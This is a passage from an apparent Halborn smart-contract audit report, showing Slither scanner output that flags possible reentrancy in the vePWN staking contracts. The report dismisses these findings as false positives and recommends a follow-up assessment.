    VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNStorage.sol#52) can be used in cross function reentrancies:
    - VoteEscrowedPWNStake._createStake(address,uint16,uint104,uint8) (src/token/vePWN/VoteEscrowedPWNStake.sol#344-355)
    - VoteEscrowedPWNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#240-310)
    - VoteEscrowedPWNStake.mergeStakes(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#186-229)
    - VoteEscrowedPWNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#140-178)
    - VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNStorage.sol#52)
    - VoteEscrowedPWNStake.withdrawStake(uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#315-336)
Reentrancy in VoteEscrowedPWNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#140-178):
    External calls:
    - _deleteStake(stakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#168)
        - stakedPwN.burn(stakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#359)
    - newStakeId1 = _createStake(staker,originalInitialEpoch,originalAmount - uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#171-173)
        - stakedPwN.mint(staker,newStakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#354)
    State variables written after the call(s):
    - newStakeId1 = _createStake(staker,originalInitialEpoch,originalAmount - uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#171-173)
        - stake.initialEpoch = initialEpoch (src/token/vePWN/VoteEscrowedPWNStake.sol#350)
        - stake.amount = amount (src/token/vePWN/VoteEscrowedPWNStake.sol#351)
        - stake.lockUpEpochs = lockUpEpochs (src/token/vePWN/VoteEscrowedPWNStake.sol#352)
    VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNStorage.sol#52) can be used in cross function reentrancies:
    - VoteEscrowedPWNStake._createStake(address,uint16,uint104,uint8) (src/token/vePWN/VoteEscrowedPWNStake.sol#344-355)
    - VoteEscrowedPWNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#240-310)
    - VoteEscrowedPWNStake.mergeStakes(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#186-229)
    - VoteEscrowedPWNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#140-178)
    - VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNStorage.sol#52)
    - VoteEscrowedPWNStake.withdrawStake(uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#315-336)
Reentrancy in VoteEscrowedPWNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#140-178):
    External calls:
    - _deleteStake(stakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#168)
        - stakedPwN.burn(stakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#359)
    - newStakeId1 = _createStake(staker,originalInitialEpoch,originalAmount - uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#171-173)
        - stakedPwN.mint(staker,newStakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#354)
    - newStakeId2 = _createStake(staker,originalInitialEpoch,uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#174)
        - stakedPwN.mint(staker,newStakeId) (src/token/vePWN/VoteEscrowedPWNStake.sol#354)
    State variables written after the call(s):
    - newStakeId2 = _createStake(staker,originalInitialEpoch,uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#174)
        - newStakeId = ++ lastStakeId (src/token/vePWN/VoteEscrowedPWNStake.sol#348)
    VoteEscrowedPWNStorage.lastStakeId (src/token/vePWN/VoteEscrowedPWNStorage.sol#34) can be used in cross function reentrancies:
    - VoteEscrowedPWNStake._createStake(address,uint16,uint104,uint8) (src/token/vePWN/VoteEscrowedPWNStake.sol#344-355)
    - VoteEscrowedPWNStorage.lastStakeId (src/token/vePWN/VoteEscrowedPWNStorage.sol#34)
    - newStakeId2 = _createStake(staker,originalInitialEpoch,uint104(splitAmount),originalLockUpEpochs) (src/token/vePWN/VoteEscrowedPWNStake.sol#174)
        - stake.initialEpoch = initialEpoch (src/token/vePWN/VoteEscrowedPWNStake.sol#350)
        - stake.amount = amount (src/token/vePWN/VoteEscrowedPWNStake.sol#351)
        - stake.lockUpEpochs = lockUpEpochs (src/token/vePWN/VoteEscrowedPWNStake.sol#352)
    VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNS   Open file in editor (cmd + click)   ross function reentrancies:
    - VoteEscrowedPWNStake._createStake(address,uint16,uint104,uint                                      PWNStake.sol#344-355)
    - VoteEscrowedPWNStake.increaseStake(uint256,uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#240-310)
    - VoteEscrowedPWNStake.mergeStakes(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#186-229)
    - VoteEscrowedPWNStake.splitStake(uint256,uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#140-178)
    - VoteEscrowedPWNStorage.stakes (src/token/vePWN/VoteEscrowedPWNStorage.sol#52)
    - VoteEscrowedPWNStake.withdrawStake(uint256) (src/token/vePWN/VoteEscrowedPWNStake.sol#315-336)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
VoteEscrowedPWNStakeMetadata._computeAttributes(uint256).currentPowerChangeIndex (src/token/vePWN/VoteEscrowedPWNStakeMetadata.sol#126) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables
```

The findings obtained as a result of the Slither scan were reviewed, and they were not included in the report because they were determined **false positives**.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.